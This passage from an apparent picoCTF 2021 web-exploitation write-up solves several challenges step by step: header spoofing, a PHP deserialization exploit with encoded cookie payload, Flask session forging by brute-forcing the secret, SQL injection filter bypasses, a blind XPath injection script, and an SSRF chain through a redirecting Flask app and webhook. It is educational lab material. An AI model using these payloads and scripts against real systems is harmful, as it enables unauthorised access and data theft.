This time, We need to access this from Sweden, My first instinct was VPN but so far we only used Headers to reach here. So I looked for another header that may reveal about location, I found `X-Forwarded-For` I changed it to the first IP I found on googling "Sweden IP address"

`X-Forwarded-For: 83.254.0.167`&#x20;

**Stage 6:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkrlorSlFR_gDD6riU%2F-MXkshKKe7uOzojRuj6c%2Fimage.png?alt=media\&token=28f47478-8d6d-431b-898f-7bd560999c66)

This is an easy one, I need to change the `Accept-Language` header, I set it to `sv-en`&#x20;

`Accept-Language: sv-en`&#x20;

**Result:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkrlorSlFR_gDD6riU%2F-MXkt9RUcI9ZVmpvYmPk%2Fimage.png?alt=media\&token=e5c5d999-ae6f-4440-b46f-e0d03f8da047)

Finally, we have our flag!

**Flag:** picoCTF{http\_h34d3rs\_v3ry\_c0Ol\_much\_w0w\_20ace0e4}

### Some Assembly Required 2&#xD;

**Points:** 110

#### **Solution**

Like the "Some Assembly Required 1" challenge this is also related to Web Assembly. I opened the imported WASM file in Chrome Developer Tools and here's what I found towards the end (Place where I found the flag for 1st part)

```
    end $label0
    local.get $var4
    i32.load offset=12
    local.set $var9
    local.get $var4
    i32.load offset=8
    local.set $var10
    local.get $var10
    local.get $var9
    i32.store8 offset=1072
    return
  )
  (data (i32.const 1024) "xakgK\5cNsmn;j8j<9;<?=l?k88mm1n9i1j>:8k?l0u\00\00")
)
```

> xakgK\5cNsmn;j8j<9;\<?=l?k88mm1n9i1j>:8k?l0u\00\00

This looks like it's encrypted, To figure out the encryption, I used **this website**. It tries all standard XOR decryptions at once. Using `XOR({'option':'Hex','string':'8'},'Standard',false)` the encrypted text outputs: `picoCTF{ef3b0b413475d7c00ee9f1a9b620c7d8}T88T88` , Great!

**Flag:** picoCTF{ef3b0b413475d7c00ee9f1a9b620c7d8}

### Super Serial&#xD;

**Description:** Try to recover the flag stored on this website

**Points:** 130

#### **Solution**

As soon as you open the website you're prompted with a login screen. There isn't much to see on the login page. Let's have a look at the Hint

{% hint style="info" %}
**Hint 1:** The flag is at ../flag
{% endhint %}

So we need to figure out a way to read that file, I tried to brute force for other pages on the URL and found `/robots.txt`&#x20;

```
User-agent: *
Disallow: /admin.phps
```

Notice "admin.**phps**". That is interesting, I tried the same extension for index.phps and it revealed the source code. Here's the PHP code for index.php

```php
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
	$con = new SQLite3("../users.db");
	$username = $_POST["user"];
	$password = $_POST["pass"];
	$perm_res = new permissions($username, $password);
	if ($perm_res->is_guest() || $perm_res->is_admin()) {
		setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
		header("Location: authentication.php");
		die();
	} else {
		$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
	}
}
?>
```

As expected from the name it's a deserialization exploit (see line 10). Here we can also see two more files. `cookie.php` and `authentication.php` let's look at authentication.phps first.

```php
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>
```

Here you can see that class `access_log` contains an interesting function called `__toString()` this is a well known exploit. If you are able to echo the class `access_log` with a file, you can read its contents. So we need to pass the `../flag` into the `access_log()` and find a place where it's echoed. Let's look at our last file `cookie.php`

```php
if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

```

&#x20;Here's what I found towards the end. It was what we wanted. `$perm` is unserializing the cookie and is echoed (`die("Deserialization error. ".$perm);`) when the functions `is_guest()` and `is_admin()` are not found. So we need to pass `access_log("../flag")` to it.&#x20;

First, let's serialize and encode it in base64 so it gives the expected output on `unserialize(base64_decode(urldecode()))`&#x20;

Here's our exploit

```php
class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

$pwn = new access_log("../flag");

echo urlencode(base64_encode(serialize($pwn)));

// Output: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

The `cookie.php` reads from the cookie `login` so we will set our exploit as

```
login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

Now let's go to `authentication.php` where the `access_log` class exists.<br>

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkvaVA9SI-jYPkGpLZ%2F-MXlBhoVrJztE95Q1Ek4%2Fimage.png?alt=media\&token=507e7e57-bb72-45aa-a4b9-b4d7e2187bd3)

There you go!

**Flag:** picoCTF{th15\_vu1n\_1s\_5up3r\_53r1ous\_y4ll\_66832978}

### Most Cookies&#xD;

**Description:** Alright, enough of using my own encryption. Flask session cookies should be plenty secure!&#x20;

**Points:** 150

#### **Solution**

This is a similar problem to the first two "Cookie" problems. You'll need to set the right cookie to get the flag. This time we are provided with a source code file. Let's have a look

```python
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()


```

You can see the `flag()` function for the display endpoint. It reads the `very_auth` cookie and checks if it is "admin" if yes, then it will show us the flag. Flask cookies use JWT to created a signed token we need to find the secret. From the above source code we can see from lines 6 and 7 that the secret is a random word from `cookie_names` list. If we can figure out which one is it then we can create a signed token for `very_auth=admin`&#x20;

I found a python library called [**flask-unsign**](https://github.com/Paradoxis/Flask-Unsign) which has useful tools to decrypt the cookie and also brute-force for the secret. First, let us decrypt the cookie `session` set by the server using

```python
$ flask-unsign --decode --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YG7ogw.sUaN7zHrEh4nQUr7qe7JfcFeynY
# Output
# {'very_auth': 'blank'}
```

We can use this token to brute force for secret from the word list provided using a `flask-unsign` and a text file (cookies.txt) consisting of the words from the list `cookie_name` Then we can use the following command to find the secret from the list.

```python
$ flask-unsign --unsign --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YG7ogw.sUaN7zHrEh4nQUr7qe7JfcFeynY --wordlist cookies.txt
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attempts
'kiss'
```

`kiss` is our secret, Now I can just use the `flask-unsign` module to create a signed token for `{'very_auth': 'admin'}`

```python
$ flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret 'kiss'
# eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YG7s5w.Mdj-rfqsZ4fIPLiC27Nc3WQ7mUw
```

Let's change the cookie value of `session` to our generated token.

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXlBrXdt_EbHfjIJPhS%2F-MXlIn4R42iZwtGDRh90%2Fimage.png?alt=media\&token=627959f3-cea1-4ccb-bd61-7c3d12ded3de)

**Flag:** picoCTF{pwn\_4ll\_th3\_cook1E5\_478da04c}

### Web Gauntlet 2&#xD;

**Description:** This website looks familiar... Log in as admin Site: ... Filter: ...

**Points:** 170

#### **Solution**

This challenge is apparently a continuation of the "Web Gauntlet" challenge. Here, we are provided with two URLs one for login and another is for filters. Login is the page you'll need to exploit and bypass the form and gain access. "Filters" shows the list of keywords that are not allowed in the injection. Let's have a look at filters:

> Filters: or and true false union like = > < ; -- /\* \*/ admin

We can not use the above keywords in our injection. As mentioned on the login page. The server uses SQLite for the database. Here our username should be "admin" but we cannot use it due to filters so we need to find a way to enter the `username=admin` without spelling it.

**The query for username:**

We can use the "[CONCAT Operator](https://www.sqlitetutorial.net/sqlite-string-functions/sqlite-concat/)" which is `||` using this operator we can concatenate strings, For example: `'Pico'||'CTF'` will give us `'PicoCTF'`&#x20;

We can use this for "admin": `'a'||'dmin'`

**The query for the password:**

This is a tricky one because the filters pretty much block all mainstream operators like `=><` and we can't even comment out the rest of the query because `;/**/` are blocked too. But SQLite has several interesting operators apart from these that can be used for boolean expressions. One such operator is "GLOB" which is similar to the "LIKE" operator in MySQL. The query `password GLOB '*'` means that "a password with at least length one, which should return true, But in our case, we can't change the characters before query as in the query already has `password = '` we can not get rid of the `= '`&#x20;

Here's where we'll use a dirty trick. We can use an invalid expression that always returns true for everything: `column='' GLOB '*'` this statement isn't technically invalid but returns true. Let's understand it with a better example.

Consider this, the query `SELECT * FROM table WHERE name = "Jake" = False` is same as `SELECT * FROM table WHERE name != "Jake"` which means the second `=` actually returns True/False value of the first one.&#x20;

The query `SELECT * FROM table WHERE name = "Jake"` has two objects one where the rows meet the condition (True) and the other where the rows do not meet the condition (False). So our query `password = '' GLOB '*'` basically translates to 'return True and False rows for `password=''` which is always True

**Final Injection**

**Username:** `a'||'dmin`\
**Password:** `'GLOB'*`&#x20;

\
**Final Query**

```sql
SELECT username, password FROM users WHERE username='a'||'dmin' AND password=''GLOB'*'
```

The character limit is 35 but our password is just 7 characters long! Let's enter it into the login page

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXlYOX2D8o8BRdjmzkh%2F-MXlj_2JCVvrd1KNgeLa%2Fimage.png?alt=media\&token=cc2e1ec0-6b84-4b6c-bb6f-305c557b8907)

**Flag:** picoCTF{0n3\_m0r3\_t1m3\_fc0f841ee8e0d3e1f479f1a01a617ebb}

### X marks the spot&#xD;

**Description:** Another login you have to bypass. Maybe you can find an injection that works?

**Points:** 250

#### **Solution**

The link takes you to a login screen that reads "Only I know the password, and I don't use any of those regular old unsafe query languages!" Let's look at the hint.

{% hint style="info" %}
**Hint 1:** XPATH
{% endhint %}

So, this is an XPath injection. This is not like any of the injections before. I tried bypassing the login with always true queries but they do not work, However, There is an interesting message that pops up when I enter an always true booleans like `' or 1=1 or 'a`&#x20;

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXmUkYOC4sGkwMEQlJQ%2Fimage.png?alt=media\&token=408ec0df-5ca8-4589-bb2d-41af0f684591)

It says "You're on the right path." I tried to change things a little bit and used a false query like `' and 1=2 and 'a'='a`&#x20;

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXmV9zUDxvkNKi7-U9e%2Fimage.png?alt=media\&token=a9cff2b4-ef69-4d08-ab7c-4def4f99e723)

Now it says "Login failure." This means that it's a Blind XPATH injection which means we have to figure out the username and password using queries. Here we can use **"starts-wth()"** operator. Which returns true if the passed characters are at the beginning of a document. We do not know the column names yet so we can use `//*` which basically means check for all documents (columns). I tried testing it with `' or //*[starts-with(text(),'a')] or 'a'='b` which interestingly enough returned true. I tried again with `' or //*[starts-with(text(),'ab')] or 'a'='b` which returned false.&#x20;

We can actually write a script that runs through all the combinations and stacks the successful characters upon success. Here's the Python script that I made

```python
import requests
from string import *

charecters = ascii_lowercase + ascii_uppercase + digits+"}_"
print(charecters)

seen_password = ["picoCTF{"]
while True:

    for ch in charecters:
        print(f"trying {''.join(seen_password)+ch}")
        st = ''.join(seen_password)+ch
        data = {"name":"admin", "pass":f"' or //*[starts-with(text(),'{st}')] or '1'='"}
        r = requests.post("http://mercury.picoctf.net:59946/", data=data)

        content = r.text
        if "You&#39;re on the right path." in content:
            seen_password.append(ch)
            break
```

I tried running the above script several times before which returned with values like admin, bob, thisisnottheflag then I figured that we are supposed to look for the flag itself, not some password. so I started with the standard starting format `picoCTF{` after running for a while, I finally got the full flag.

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXoqiSsWjYXGwnid856%2F-MXoqsmFPgpYZXlSMgOo%2Fimage.png?alt=media\&token=7effa7a1-dd6e-4e61-999d-17af3cde69ca)

**Flag:** picoCTF{h0p3fully\_u\_t0ok\_th3\_r1ght\_xp4th\_a56016ef}

### Web Gauntlet 3&#xD;

**Description:** Last time, I promise! Only 25 characters this time. Log in as admin

**Points:** 300

#### **Solution**

This is the same challenge as the "Web Gauntlet 2" but this time we are only allowed to use 25 characters for our injection. We can solve this using the exact same injection because last time our query was only 7 characters.

**Username:** `a'||'dmin`\
**Password:** `'GLOB'*`&#x20;

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXm_Dp2czCfetFXa5YL%2Fimage.png?alt=media\&token=99c88380-2fea-4dad-993d-951522a2b172)

**Flag:** picoCTF{k3ep\_1t\_sh0rt\_30593712914d76105748604617f4006a}

### Bithug

**Description:** Code management software is way too bloated. Try our new lightweight solution, BitHug.

**Points:** 500

#### **Solution**

This is the last challenge of Web Exploit and also has the highest points in the web section. Here we are also given source code.&#x20;

This is basically a clone of GitHub it has features like webhooks, collaborators, etc. The flag is hidden at `_/<username>.git` but we do not have access to read it. So we need to figure out a way to gain read access to the repo.

Let's go through the source code, Here's an interesting thing I found in `auth-api.ts`&#x20;

```typescript
    const sourceIp = req.socket.remoteAddress;
    if (sourceIp === "127.0.0.1" || sourceIp === "::1" || sourceIp === "::ffff:127.0.0.1") {
        req.user = { kind: "admin" };
        return next();
    }

    req.user = { kind: "none" };
    return next();
```

You notice that requests from localhost (127.0.0.1) are given admin access and all endpoints from `git-api.ts` can be freely accessed by admins.

The server has a webhook feature that we can use to send a request from the server to the server itself (SSRF). But this way we can't really read any data because there is no way to echo the data back from the endpoint that was accessed by web-hook.

However there is one thing we could do here, We can add ourselves as a collaborator to `_/<username>.git` since admin has rights to all the endpoints we can send a request to git upload endpoint `/:user/:repo.git/git-upload-pack` which is responsible for updating the repo on git.

**The Plan**

1. Create a payload for adding a collaborator to a repository
2. Create a webhook that sends a POST request to `_127.0.0.1:1823/<username>.git/git-upload-pack`&#x20;
3. Use this payload to push to `_/<username>.git` using webhook

Notice, we need to send this to that 1823 port because that's where the server is actually running locally. You can find this from the Dockerfile provided.

**Step 1**

Let us create a user with username: "abbas" and password: "abbas" on bithug. Now, create a repository named "abbas". We will clone this repository locally using&#x20;

```bash
git clone http://abbas@venus.picoctf.net:49771/abbas/abbas.git
```

Now, we'll need to add a collaborator, we can find instructions on the repository page

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXme0OzY3YxrJgt15UF%2Fimage.png?alt=media\&token=a6191e2a-7944-452d-845d-2490bb24a14b)

Let us add a collaborator using

```bash
$ git checkout --orphan newbranch
$ echo "abbas" > access.conf
$ git add access.conf
$ git commit -m "Added a user to the repo"
```

Do not push it yet, we need to capture this request. I am going to use [Wireshark ](https://www.wireshark.org/)for this. After starting "capture" on Wireshark, `git push origin @:refs/meta/config`<br>

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXmenZqZ3bpH-cpIHwp%2Fimage.png?alt=media\&token=7bc352fb-2c1f-4e7e-a5bc-153b6217a309)

Here is the `http` stream from Wireshark, You'll notice that there is a `POST` request. That's what we need.

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXmf92FVJw3vQezSscs%2Fimage.png?alt=media\&token=f0074d1c-f9c2-4fea-8516-545ba42a9158)

Highlighted is the data we need, let us copy it in the Hex string format which should look like this

```
"\x30\x30\x39\x34\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x20\x61\x32\x31\x32\x39\x39\x38\x61\x35\x65\x63\x32\x36\x37\x31\x35\x37\x61\x33\x39\x62\x64\x62\x37\x39\x30\x64\x33\x30\x33\x30\x39\x34\x38\x32\x65\x35\x31\x34\x32\x20\x72\x65\x66\x73\x2f\x6d\x65\x74\x61\x2f\x63\x6f\x6e\x66\x69\x67\x00\x20\x72\x65\x70\x6f\x72\x74\x2d\x73\x74\x61\x74\x75\x73\x20\x73\x69\x64\x65\x2d\x62\x61\x6e\x64\x2d\x36\x34\x6b\x20\x61\x67\x65\x6e\x74\x3d\x67\x69\x74\x2f\x32\x2e\x32\x35\x2e\x31\x30\x30\x30\x30\x50\x41\x43\x4b\x00\x00\x00\x02\x00\x00\x00\x03\x9b\x0c\x78\x9c\xa5\xcc\x41\x0a\xc2\x30\x10\x40\xd1\x7d\x4e\x31\x7b\x51\x32\x93\xc6\xb6\x20\xa2\xa8\x0b\x2d\xa8\xa0\x17\x48\x9b\x29\x2d\xb4\x8e\xc4\xe9\xfd\xad\x67\x70\xf3\x17\x7f\xf1\x34\x31\x03\x65\x8e\x1a\xcc\x0b\x8a\x31\xf7\x59\x41\xd4\xd6\xe4\x83\x2d\x33\xf2\x6d\x64\x6c\x69\x7e\xd6\xd5\xa5\x09\x93\x76\x92\x20\x89\x28\x6c\x7e\xdd\x1d\x4f\x8f\xea\x79\xbb\x2f\xaf\x87\x73\x75\x41\xb7\x1a\xa4\x09\x43\x94\x31\xf4\xaf\x2d\xe0\x1a\xf3\xd2\x7a\x24\x84\x85\xf5\xce\x9a\x46\xc6\xb1\x57\xe5\x3f\x08\xb3\x8f\x91\x23\x04\x98\x3e\x33\xa3\x02\xda\x31\x24\x7e\x8b\xf9\x02\xc2\xda\x3c\x04\xa7\x02\x78\x9c\x33\x34\x30\x30\x33\x31\x51\x48\x4c\x4e\x4e\x2d\x2e\xd6\x4b\xce\xcf\x4b\x63\xf8\x1c\x5b\xcb\xe7\xce\xf0\xfb\x6d\x65\xac\xeb\xc3\x59\x2b\x97\x33\x3e\x33\xf3\xb8\x0f\x00\x0b\xd6\x0f\xca\x36\x78\x9c\x4b\x4c\x4a\x4a\x2c\xe6\x02\x00\x07\xd1\x02\x04\x30\x9a\x4e\xdf\x99\x0e\xe6\x14\xcf\xdf\xbf\x9f\x2b\x17\xad\x88\x60\x16\x21\x12"
```

Now we need to get this to the webhook body, If you look at this part of the source code:

```typescript
router.get("/:user/:repo.git/webhooks", async (req, res) => {
    if (req.user.kind === "admin" || req.user.kind === "none") {
        return res.send({ webhooks: [] });
    }
    const webhooks = await webhookManager.getWebhooksForUser(req.git.repo, req.user.user);
    return res.send(webhooks.map(
        (webhook): SerializedWebhook => ({ ...webhook, body: webhook.body.toString("base64") }))
    );
});
```

You'll notice that the body of the webhook is encoded in base64. So let's do that using a simple python script.

```python
import base64

hex_string = b"\x30\x30\x39\x34\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x20\x61\x32\x31\x32\x39\x39\x38\x61\x35\x65\x63\x32\x36\x37\x31\x35\x37\x61\x33\x39\x62\x64\x62\x37\x39\x30\x64\x33\x30\x33\x30\x39\x34\x38\x32\x65\x35\x31\x34\x32\x20\x72\x65\x66\x73\x2f\x6d\x65\x74\x61\x2f\x63\x6f\x6e\x66\x69\x67\x00\x20\x72\x65\x70\x6f\x72\x74\x2d\x73\x74\x61\x74\x75\x73\x20\x73\x69\x64\x65\x2d\x62\x61\x6e\x64\x2d\x36\x34\x6b\x20\x61\x67\x65\x6e\x74\x3d\x67\x69\x74\x2f\x32\x2e\x32\x35\x2e\x31\x30\x30\x30\x30\x50\x41\x43\x4b\x00\x00\x00\x02\x00\x00\x00\x03\x9b\x0c\x78\x9c\xa5\xcc\x41\x0a\xc2\x30\x10\x40\xd1\x7d\x4e\x31\x7b\x51\x32\x93\xc6\xb6\x20\xa2\xa8\x0b\x2d\xa8\xa0\x17\x48\x9b\x29\x2d\xb4\x8e\xc4\xe9\xfd\xad\x67\x70\xf3\x17\x7f\xf1\x34\x31\x03\x65\x8e\x1a\xcc\x0b\x8a\x31\xf7\x59\x41\xd4\xd6\xe4\x83\x2d\x33\xf2\x6d\x64\x6c\x69\x7e\xd6\xd5\xa5\x09\x93\x76\x92\x20\x89\x28\x6c\x7e\xdd\x1d\x4f\x8f\xea\x79\xbb\x2f\xaf\x87\x73\x75\x41\xb7\x1a\xa4\x09\x43\x94\x31\xf4\xaf\x2d\xe0\x1a\xf3\xd2\x7a\x24\x84\x85\xf5\xce\x9a\x46\xc6\xb1\x57\xe5\x3f\x08\xb3\x8f\x91\x23\x04\x98\x3e\x33\xa3\x02\xda\x31\x24\x7e\x8b\xf9\x02\xc2\xda\x3c\x04\xa7\x02\x78\x9c\x33\x34\x30\x30\x33\x31\x51\x48\x4c\x4e\x4e\x2d\x2e\xd6\x4b\xce\xcf\x4b\x63\xf8\x1c\x5b\xcb\xe7\xce\xf0\xfb\x6d\x65\xac\xeb\xc3\x59\x2b\x97\x33\x3e\x33\xf3\xb8\x0f\x00\x0b\xd6\x0f\xca\x36\x78\x9c\x4b\x4c\x4a\x4a\x2c\xe6\x02\x00\x07\xd1\x02\x04\x30\x9a\x4e\xdf\x99\x0e\xe6\x14\xcf\xdf\xbf\x9f\x2b\x17\xad\x88\x60\x16\x21\x12"
print(base64.encodebytes(hex_string))
```

This will give us the body of our webhook, it should look like this

```
MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYTIxMjk5OGE1ZWMy\nNjcxNTdhMzliZGI3OTBkMzAzMDk0ODJlNTE0MiByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3Rh\ndHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAObDHicpcxB\nCsIwEEDRfU4xe1Eyk8a2IKKoCy2ooBdImykttI7E6f2tZ3DzF3/xNDEDZY4azAuKMfdZQdTW5IMt\nM/JtZGxpftbVpQmTdpIgiShsft0dT4/qebsvr4dzdUG3GqQJQ5Qx9K8t4Brz0nokhIX1zppGxrFX\n5T8Is4+RIwSYPjOjAtoxJH6L+QLC2jwEpwJ4nDM0MDAzMVFITE5OLS7WS87PS2P4HFvL587w+21l\nrOvDWSuXMz4z87gPAAvWD8o2eJxLTEpKLOYCAAfRAgQwmk7fmQ7mFM/fv58rF62IYBYhEg==
```

**Step 2**

Now we need to create a webhook, let us create a sample webhook first in our `abbas` repository and see what requests are made.

```javascript
{
    "url": "http://google.com",
    "body": "ewogICAgImJyYW5jaCI6ICJ7e2JyYW5jaH19IiwKICAgICJ1c2VyIjogInt7dXNlcn19Igp9",
    "contentType": "application/json"
}
```

This is the format we need to use for creating our webhook. We already have the body and the `contentType` is `application/x-git-receive-pack-request` which you can find on your Wireshark request.

The URL is supposed to be `127.0.0.1:1823` but it's tricky due to this

```typescript
router.post("/:user/:repo.git/webhooks", async (req, res) => {
    if (req.user.kind === "admin" || req.user.kind === "none") {
        return res.status(400).end();
    }

    const { url, body, contentType } = req.body;
    const validationUrl = new URL(url);
    if (validationUrl.port !== "" && validationUrl.port !== "80") {
        throw new Error("Url must go to port 80");
    }
    if (validationUrl.host === "localhost" || validationUrl.host === "127.0.0.1") {
        throw new Error("Url must not go to localhost");
    }

    if (typeof contentType !== "string" || typeof body !== "string") {
        throw new Error("Bad arguments");
    }
    const trueBody = Buffer.from(body, "base64");

    await webhookManager.addWebhook(req.git.repo, req.user.user, url, contentType, trueBody);
    return res.send({});
});
```

There are filters in place that prevent us from adding 127.0.0.1 as host and a port that's not 80. I solved this by hosting a flask app that redirects all the traffic to `http://127.0.0.1:1823/_/abbas.git/git-receive-pack` here is the code for that

```python
from flask import Flask, redirect

application = app = Flask(__name__)


@app.route('/', methods=["POST", "GET"])
def index():
    return redirect("http://127.0.0.1:1823/_/abbas.git/git-receive-pack", code=307)



if __name__ == '__main__':
    application.run(host='0.0.0.0', debug=True)
```

Note, it has to be a `307` redirect or else the incoming requests will be ignored.

Let's prepare our payload for creating a webhook

```javascript
{
    "url":"<flask_app_url>",
    "body":"MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYTIxMjk5OGE1ZWMy\nNjcxNTdhMzliZGI3OTBkMzAzMDk0ODJlNTE0MiByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3Rh\ndHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAObDHicpcxB\nCsIwEEDRfU4xe1Eyk8a2IKKoCy2ooBdImykttI7E6f2tZ3DzF3/xNDEDZY4azAuKMfdZQdTW5IMt\nM/JtZGxpftbVpQmTdpIgiShsft0dT4/qebsvr4dzdUG3GqQJQ5Qx9K8t4Brz0nokhIX1zppGxrFX\n5T8Is4+RIwSYPjOjAtoxJH6L+QLC2jwEpwJ4nDM0MDAzMVFITE5OLS7WS87PS2P4HFvL587w+21l\nrOvDWSuXMz4z87gPAAvWD8o2eJxLTEpKLOYCAAfRAgQwmk7fmQ7mFM/fv58rF62IYBYhEg==",
    "contentType":"application/x-git-receive-pack-result"
}
```

I am going to use curl so here's my request. Note that you'll need to grab the authentication cookie from your browser

```bash
curl -i -X POST -H "Content-Type: application/json" --cookie "user-token=81bb7700-be5a-44d4-8ab3-41de4d3d3748" -d '{"url":"<flask_app_url>","body":"MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYTIxMjk5OGE1ZWMy\nNjcxNTdhMzliZGI3OTBkMzAzMDk0ODJlNTE0MiByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3Rh\ndHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAObDHicpcxB\nCsIwEEDRfU4xe1Eyk8a2IKKoCy2ooBdImykttI7E6f2tZ3DzF3/xNDEDZY4azAuKMfdZQdTW5IMt\nM/JtZGxpftbVpQmTdpIgiShsft0dT4/qebsvr4dzdUG3GqQJQ5Qx9K8t4Brz0nokhIX1zppGxrFX\n5T8Is4+RIwSYPjOjAtoxJH6L+QLC2jwEpwJ4nDM0MDAzMVFITE5OLS7WS87PS2P4HFvL587w+21l\nrOvDWSuXMz4z87gPAAvWD8o2eJxLTEpKLOYCAAfRAgQwmk7fmQ7mFM/fv58rF62IYBYhEg==","contentType":"application/x-git-receive-pack-result"}' http://venus.picoctf.net:49771/abbas/abbas.git/webhooks

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 2
ETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"
Date: Thu, 08 Apr 2021 18:30:37 GMT
Connection: keep-alive
Keep-Alive: timeout=5
```

Great, We are ready without webhook

**Step 3:**

Now we just need to trigger our webhook by doing a git push to our `abbas/abbas` repository.

```bash
$ echo "Hi" > hi.txt
$ git add .
$ git commit -m "pwn"
$ git push
```

